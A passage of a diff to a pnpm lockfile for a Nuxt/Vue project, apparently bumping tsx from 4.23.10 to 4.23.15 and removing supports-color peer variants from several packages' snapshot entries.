4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) - '@nuxt/nitro-server': 4.5.2(939e14dbbe7d2e2e95d6de722d728255) + '@dxup/nuxt': 0.5.6(esbuild@0.25.12)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + '@nuxt/cli': 3.37.0(@nuxt/schema@4.5.2)(@parcel/watcher@2.6.0)(cac@7.0.0)(magicast@0.5.4) + '@nuxt/devtools': 3.4.1(db0@0.3.4)(ioredis@5.11.1)(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) + '@nuxt/nitro-server': 4.5.2(6be6cc826f211ead8f9963a4117b341a) '@nuxt/schema': 4.5.2 - '@nuxt/telemetry': 2.8.0(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))) - '@nuxt/vite-builder': 4.5.2(c451715f9da445cf1604dc21ee91ddbf) - '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + '@nuxt/telemetry': 2.8.0(@nuxt/kit@4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))) + '@nuxt/vite-builder': 4.5.2(08c1d6837a056862854e60ca899e0fc8) + '@unhead/vue': 3.3.1(@oxc-project/types@0.143.0)(esbuild@0.25.12)(lightningcss@1.33.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) '@vue/shared': 3.5.41 chokidar: 5.0.0 compatx: 0.2.0 @@ -10572,7 +10572,7 @@ snapshots: fnv1a-64: 0.1.2 hookable: 6.1.1 ignore: 7.0.6 - impound: 1.1.6(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + impound: 1.1.6(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) jiti: 2.7.0 klona: 2.0.6 knitwork: 1.3.0 @@ -10599,17 +10599,17 @@ snapshots: ufo: 1.6.4 ultrahtml: 1.7.0 uncrypto: 0.1.3 - unctx: 3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + unctx: 3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) undici: 8.11.2 - unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - unimport: 6.4.0(esbuild@0.25.12)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unhead: 3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + unimport: 6.4.0(esbuild@0.25.12)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) unrouting: 0.2.2 untyped: 2.0.0 verkit: 0.3.2 vue: 3.5.41(typescript@6.0.3) vue-component-type-helpers: 3.3.9 - vue-router: 5.2.0(@vue/compiler-sfc@3.5.41)(esbuild@0.25.12)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) + vue-router: 5.2.0(@vue/compiler-sfc@3.5.41)(esbuild@0.25.12)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3)) optionalDependencies: '@parcel/watcher': 2.6.0 '@types/node': 26.1.2 @@ -10690,16 +10690,16 @@ snapshots: - xml2js - yaml - nuxtseo-shared@5.3.10(506c592eb03846313a3f5d1595fc6889): + nuxtseo-shared@5.3.10(e7e317c556a96caaa3d5be917284fb38): dependencies: '@clack/prompts': 1.7.0 - '@nuxt/devtools-kit': 4.0.0-alpha.7(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) - '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))) + '@nuxt/devtools-kit': 4.0.0-alpha.7(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)))(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) + '@nuxt/kit': 4.5.2(magic-string@1.1.0)(magicast@0.5.4)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))) '@nuxt/schema': 4.5.2 birpc: 4.0.0 consola: 3.4.2 defu: 6.1.7 - nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7(supports-color@10.2.2)))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0)(supports-color@10.2.2))(ioredis@5.11.1(supports-color@10.2.2))(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3))(supports-color@10.2.2)(terser@5.49.2)(tsx@4.23.10)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(yaml@2.9.0) + nuxt: 4.5.2(@babel/plugin-syntax-jsx@7.29.7(@babel/core@7.29.7))(@babel/plugin-syntax-typescript@7.29.7(@babel/core@7.29.7))(@oxc-project/types@0.143.0)(@parcel/watcher@2.6.0)(@types/node@26.1.2)(@vue/compiler-sfc@3.5.41)(cac@7.0.0)(db0@0.3.4)(esbuild@0.25.12)(eslint@10.8.0(jiti@2.7.0))(ioredis@5.11.1)(lightningcss@1.33.0)(magicast@0.5.4)(meow@14.1.0)(optionator@0.9.4)(oxc-parser@0.142.0)(pinia@3.0.4(typescript@6.0.3)(vue@3.5.41(typescript@6.0.3)))(rolldown@1.2.3)(rollup-plugin-visualizer@7.0.1(rolldown@1.2.3)(rollup@4.62.4))(rollup@4.62.4)(sass@1.105.1)(srvx@0.11.22)(stylelint@17.15.0(typescript@6.0.3))(terser@5.49.2)(tsx@4.23.15)(typescript@6.0.3)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))(yaml@2.9.0) nypm: 0.6.9 ofetch: 1.5.1 pathe: 2.0.3 @@ -10710,7 +10710,7 @@ snapshots: ufo: 1.6.4 vue: 3.5.41(typescript@6.0.3) optionalDependencies: - nuxt-site-config: 4.2.0(f964271bb36a557850bb349e3da7a4bd) + nuxt-site-config: 4.2.0(7f089dda3677d5e76f6c9e5335d8969d) transitivePeerDependencies: - magic-string - magicast @@ -11328,9 +11328,9 @@ snapshots: semver@7.8.5: {} - send@1.2.1(supports-color@10.2.2): + send@1.2.1: dependencies: - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 encodeurl: 2.0.0 escape-html: 1.0.3 etag: 1.8.1 @@ -11352,12 +11352,12 @@ snapshots: dependencies: defu: 6.1.7 - serve-static@2.2.1(supports-color@10.2.2): + serve-static@2.2.1: dependencies: encodeurl: 2.0.0 escape-html: 1.0.3 parseurl: 1.3.3 - send: 1.2.1(supports-color@10.2.2) + send: 1.2.1 transitivePeerDependencies: - supports-color @@ -11411,13 +11411,13 @@ snapshots: signal-exit@4.1.0: {} - simple-git@3.36.0(supports-color@10.2.2): + simple-git@3.36.0: dependencies: - '@kwsites/file-exists': 1.1.1(supports-color@10.2.2) + '@kwsites/file-exists': 1.1.1 '@kwsites/promise-deferred': 1.1.1 '@simple-git/args-pathspec': 1.0.3 '@simple-git/argv-parser': 1.1.1 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 transitivePeerDependencies: - supports-color @@ -11552,29 +11552,29 @@ snapshots: postcss: 8.5.26 postcss-selector-parser: 7.1.5 - stylelint-config-html@2.0.0(postcss-html@1.8.1)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)): + stylelint-config-html@2.0.0(postcss-html@1.8.1)(stylelint@17.15.0(typescript@6.0.3)): dependencies: postcss-html: 1.8.1 - stylelint: 17.15.0(supports-color@10.2.2)(typescript@6.0.3) + stylelint: 17.15.0(typescript@6.0.3) - stylelint-config-recommended-vue@1.6.1(postcss-html@1.8.1)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)): + stylelint-config-recommended-vue@1.6.1(postcss-html@1.8.1)(stylelint@17.15.0(typescript@6.0.3)): dependencies: postcss-html: 1.8.1 semver: 7.8.5 - stylelint: 17.15.0(supports-color@10.2.2)(typescript@6.0.3) - stylelint-config-html: 2.0.0(postcss-html@1.8.1)(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)) - stylelint-config-recommended: 18.0.0(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)) + stylelint: 17.15.0(typescript@6.0.3) + stylelint-config-html: 2.0.0(postcss-html@1.8.1)(stylelint@17.15.0(typescript@6.0.3)) + stylelint-config-recommended: 18.0.0(stylelint@17.15.0(typescript@6.0.3)) - stylelint-config-recommended@18.0.0(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)): + stylelint-config-recommended@18.0.0(stylelint@17.15.0(typescript@6.0.3)): dependencies: - stylelint: 17.15.0(supports-color@10.2.2)(typescript@6.0.3) + stylelint: 17.15.0(typescript@6.0.3) - stylelint-config-standard@40.0.0(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)): + stylelint-config-standard@40.0.0(stylelint@17.15.0(typescript@6.0.3)): dependencies: - stylelint: 17.15.0(supports-color@10.2.2)(typescript@6.0.3) - stylelint-config-recommended: 18.0.0(stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3)) + stylelint: 17.15.0(typescript@6.0.3) + stylelint-config-recommended: 18.0.0(stylelint@17.15.0(typescript@6.0.3)) - stylelint@17.15.0(supports-color@10.2.2)(typescript@6.0.3): + stylelint@17.15.0(typescript@6.0.3): dependencies: '@csstools/css-calc': 3.3.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0) '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0) @@ -11587,7 +11587,7 @@ snapshots: cosmiconfig: 9.0.2(typescript@6.0.3) css-functions-list: 3.3.3 css-tree: 3.2.1 - debug: 4.4.3(supports-color@10.2.2) + debug: 4.4.3 fast-glob: 3.3.3 fastest-levenshtein: 1.0.16 file-entry-cache: 11.1.5 @@ -11737,6 +11737,12 @@ snapshots: optionalDependencies: fsevents: 2.3.3 + tsx@4.23.15: + dependencies: + esbuild: 0.28.1 + optionalDependencies: + fsevents: 2.3.3 + tweetnacl@1.0.3: {} type-check@0.4.0: @@ -11755,11 +11761,11 @@ snapshots: ultrahtml@1.7.0: {} - unconfig@0.6.1(supports-color@10.2.2): + unconfig@0.6.1: dependencies: '@antfu/utils': 8.1.1 defu: 6.1.7 - importx: 0.5.2(supports-color@10.2.2) + importx: 0.5.2 transitivePeerDependencies: - supports-color @@ -11772,12 +11778,12 @@ snapshots: magic-string: 0.30.21 unplugin: 2.3.11 - unctx@3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))): + unctx@3.0.0(magic-string@1.1.0)(oxc-parser@0.142.0)(rolldown@1.2.3)(unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0))): optionalDependencies: magic-string: 1.1.0 oxc-parser: 0.142.0 rolldown: 1.2.3 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) undici-types@8.3.0: {} @@ -11787,12 +11793,12 @@ snapshots: dependencies: pathe: 2.0.3 - unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + unhead@3.3.1(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: hookable: 6.1.1 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) optionalDependencies: - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) transitivePeerDependencies: - '@farmfe/core' - '@rspack/core' @@ -11807,7 +11813,7 @@ snapshots: unicorn-magic@0.4.0: {} - unimport@6.4.0(esbuild@0.25.12)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + unimport@6.4.0(esbuild@0.25.12)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: acorn: 8.18.0 escape-string-regexp: 5.0.0 @@ -11821,7 +11827,7 @@ snapshots: scule: 1.3.0 strip-literal: 4.0.0 tinyglobby: 0.2.17 - unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) unplugin-utils: 0.3.2 optionalDependencies: oxc-parser: 0.142.0 @@ -11836,7 +11842,7 @@ snapshots: - vite - webpack - unimport@6.4.0(esbuild@0.28.1)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + unimport@6.4.0(esbuild@0.28.1)(oxc-parser@0.142.0)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: acorn: 8.18.0 escape-string-regexp: 5.0.0 @@ -11850,7 +11856,7 @@ snapshots: scule: 1.3.0 strip-literal: 4.0.0 tinyglobby: 0.2.17 - unplugin: 3.3.0(esbuild@0.28.1)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + unplugin: 3.3.0(esbuild@0.28.1)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) unplugin-utils: 0.3.2 optionalDependencies: oxc-parser: 0.142.0 @@ -11877,7 +11883,7 @@ snapshots: picomatch: 4.0.5 webpack-virtual-modules: 0.6.2 - unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + unplugin@3.3.0(esbuild@0.25.12)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: '@jridgewell/remapping': 2.3.5 picomatch: 4.0.5 @@ -11886,9 +11892,9 @@ snapshots: esbuild: 0.25.12 rolldown: 1.2.3 rollup: 4.62.4 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) - unplugin@3.3.0(esbuild@0.28.1)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + unplugin@3.3.0(esbuild@0.28.1)(rolldown@1.2.3)(rollup@4.62.4)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: '@jridgewell/remapping': 2.3.5 picomatch: 4.0.5 @@ -11897,7 +11903,7 @@ snapshots: esbuild: 0.28.1 rolldown: 1.2.3 rollup: 4.62.4 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) unrouting@0.2.2: dependencies: @@ -11931,7 +11937,7 @@ snapshots: '@unrs/resolver-binding-win32-ia32-msvc': 1.12.2 '@unrs/resolver-binding-win32-x64-msvc': 1.12.2 - unstorage@1.17.5(db0@0.3.4)(ioredis@5.11.1(supports-color@10.2.2)): + unstorage@1.17.5(db0@0.3.4)(ioredis@5.11.1): dependencies: anymatch: 3.1.3 chokidar: 5.0.0 @@ -11943,7 +11949,7 @@ snapshots: ufo: 1.6.4 optionalDependencies: db0: 0.3.4 - ioredis: 5.11.1(supports-color@10.2.2) + ioredis: 5.11.1 untun@0.2.2: {} @@ -11980,14 +11986,14 @@ snapshots: util-deprecate@1.0.2: {} - v-phone-input@7.0.2(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)): + v-phone-input@7.0.2(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)): dependencies: awesome-phonenumber: 7.8.0 countries-list: 3.4.1 vue: 3.5.41(typescript@6.0.3) optionalDependencies: flag-icons: 7.5.0 - vuetify: 4.2.2(typescript@6.0.3)(vite-plugin-vuetify@2.1.3(supports-color@10.2.2)(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0))(vue@3.5.41(typescript@6.0.3))(vuetify@4.1.8))(vue@3.5.41(typescript@6.0.3)) + vuetify: 4.2.2(typescript@6.0.3)(vite-plugin-vuetify@2.1.3)(vue@3.5.41(typescript@6.0.3)) world-flags-sprite: 0.0.2 transitivePeerDependencies: - '@adobe/leonardo-contrast-colors' @@ -12005,23 +12011,23 @@ snapshots: verkit@0.3.2: {} - vite-dev-rpc@2.0.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + vite-dev-rpc@2.0.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: birpc: 4.0.0 - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) - vite-hot-client: 2.2.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) + vite-hot-client: 2.2.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)) - vite-hot-client@2.2.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0)): + vite-hot-client@2.2.0(vite@8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0)): dependencies: - vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.10)(yaml@2.9.0) + vite: 8.2.1(@types/node@26.1.2)(esbuild@0.25.12)(jiti@2.7.0)(sass@1.105.1)(terser@5.49.2)(tsx@4.23.15)(yaml@2.9.0) - 